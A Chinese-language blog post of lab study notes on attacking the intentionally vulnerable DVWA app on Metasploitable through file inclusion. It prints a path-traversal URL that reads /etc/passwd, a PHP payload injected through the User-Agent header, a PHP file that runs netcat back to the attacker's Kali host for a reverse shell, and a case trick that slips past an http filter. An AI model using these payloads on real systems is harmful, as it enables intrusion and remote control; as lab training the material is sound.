Metasploitable 學習筆記-DVWA LFI( Local File inclusion )/RFI (Remote File Inclusion)& Reverse Shell
這是一篇系列文,有關看一些不同的Metasploitable介紹與教學的練習紀錄
- https://kuronetwork.me/posts/metasploitable/
- Metasploitable 學習筆記-DVWA文件上傳漏洞( file upload) & Reverse Shell
- Metasploitable 學習筆記-DVWA Command injection 命令注入攻擊與 Reverse Shell
- Metasploitable 學習筆記-DVWA LFI( Local File inclusion )/RFI (Remote File Inclusion)& Reverse Shell
- Metasploitable 學習筆記-XSS Vulnerability : BeEF 瀏覽器攻擊與社交工程欺騙
What is Local File Inclusion?
攻擊者可以使用LFI繞過Web應用程式與Web Server上公開或執行的文件。 LFI攻擊可能導致資訊洩露,利用 ../等看過Server上的目錄,並有可能執行惡意指令。
Low 與 Medium 等級
這次解File Inclusion 的練習
上面提示了 ?page=index有LFI的漏洞存在,並看一下程式碼語法可以執行我們給的參數指令。
http://192.168.40.135/dvwa/vulnerabilities/fi/?page=include.php
貌似有個include.php的頁面存在,將URL改成:
我們發現了一串路徑,這時候將這串路徑丟回去網址列,嘗試讀取Server上的其他檔案,例如etc/passwd
http://192.168.40.135/dvwa/vulnerabilities/fi/?page=/../../../../../etc/passwd
Linux上 ..代表回到上一層目錄,所以我們看URL有幾層就回到根目錄後再去讀取etc下的passwd檔案
成功讀取了passwrd
這邊Medium等級的用同樣手法依然可以讀取到etc/passwd
Reverse Shell
如同前幾篇用過的nc,這邊會用到以下幾個指令:
<?phpinfo();?>
<?passthru(“nc -e /bin/sh [yourIP] [yourPort]”); ?>
我們使用前面的手法找到了/proc/self/environ 這個路徑並執行一次,接著使用Burp攔截,並於User-Agent改成php的指令<?phpinfo();?>測試看看
/proc/self/environ內有這個Server存我們瀏覽器的一些資訊
這代表我們可以在/proc/self/environ下進行攻擊,我們試著使用Reverse shell的指令看看,需要先開啟nc後重新執行一次網頁並攔截封包。
<?passthru(“nc -e /bin/sh [yourIP] [yourPort]”); ?>
看到nc有了反應,嘗試ls後顯示目錄檔案,成功!
預防
可能造成危險的目錄:
- /var/log/auth.log
- /var/log/apache2/access.log
- /proc/self/environ
什麼是RFI
Remote File Inclusion 的縮寫是 「RFI」,這是指駭客透過外部檔案,來攻擊 Web 系統。駭客可以先找一個網站空間,建立一個 PHP 的檔案,然後藉由輸入特殊的路徑,讓你的系統去載入這個 PHP,再透過 PHP Script 取得管理員的帳號; 密碼,或是會員資料。
成因是PHP的設定開啟了allow_url_include,我們會在Metasploitable下開啟這項設定
Metasploitable
回到Metasploitable下的 /etc/php5/cgi/php.ini 搜尋allow_url並找到include=改成on,這邊使用nano編輯器。
設定好後我們重啟這個網站apache2服務
寫一個Reverse
回到Kali後我們會需要起一個web服務
先重啟Kali的apaches
寫一段php reverse用的程式碼存檔成txt後放到var/www/html,程式主要是執行nc回到我們的Kali,記住程式碼的IP是我們Kali的主機IP
<?php
passthru(“nc -e /bin/sh 192.168.40.128 8888”)
?>
測試一下可以執行這段程式碼
先執行nc後回到Web上將Kali上的檔案網址貼回DVWA網址列上,把Page後面替換自己的檔案網址即可成功!
Medium 等級RFI
從程式碼可以看到過濾http、https替換成空白,所以我們可以替換一下成hTTp:
預防
- 關閉allow_url_include和fopen
- 低跟中等級時候傳給Get參數的命令都會被執行顯示出來,而High的語法只允許我們執行include.php,否則就會提示ERROR。
如果有興趣可以參考其他篇的筆記:
https://medium.com/blacksecurity/tagged/ctf
若您喜歡我的文章,歡迎按下「拍手」與Liker按讚給我支持並轉發給你的朋友們(可以多拍幾下手喔),或是「Follow」我,讓我提供文章給您。
Facebook 粉絲專頁 剛開始建立經營 不會洗版(沒有時間) !!包含資安與投資的資訊,歡迎追蹤我並分享。
也歡迎繼續閱讀:
網路安全封包分析:Wireshark 快速判斷IP位置並找出可疑程式 — 使用GeoLite2
CTF Write-up 滲透測試系列
https://medium.com/blacksecurity/tagged/ctf